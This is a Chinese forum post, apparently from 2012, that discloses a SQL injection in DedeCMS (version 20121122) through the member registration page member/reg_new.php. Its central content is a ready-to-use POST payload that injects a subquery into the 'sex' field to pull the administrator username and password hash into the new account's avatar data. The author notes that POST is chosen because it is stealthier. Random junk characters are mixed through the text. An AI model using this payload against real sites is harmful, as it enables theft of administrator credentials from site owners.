dedecms版本 20121122
- D5 t# F4 T4 p0 ~9 e. X
6 k1 e3 f* I/ `0 f' [: D+ g需要magic_quotes_gpc=Off0 k3 q! X& d7 p" V+ Z5 h
4 u2 x8 w1 E% x* t5 {- V应该是没有什么大危害的漏洞.4 X1 J- ?) A0 A4 ?7 x% P
原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.
' T% Q5 t7 A* c3 o: N
0 O: q- T- f- z; l" _4 g是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.: J; e- B9 u/ |- I9 ^ @
POST提交以下数据,其实不用POST提交的,这样隐蔽点.
$ Z/ |! n. F2 Z) y! f" f r5 M2 W& a% \
http:///de/member/reg_new.php' A5 \9 S) `1 g* H) t. T- ^
5 n+ T' @8 }6 p6 s! @8 @POST
6 { w- _ q1 v/ s2 a6 l+ ~/ A. q+ [2 E! J3 i/ u( j
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=
+ U( y# V$ m. o/ T7 E6 O
" Q9 \: f; R% N1 a$ c6 Y/ P# y; u成功注册后,头像处里面有好玩的信息./ A. G! ?, p6 D: }8 M. l( T
- N6 B7 `5 Y- W9 { C6 F6 D |
发表于 2012-12-5 10:03:32
收藏
支持
反对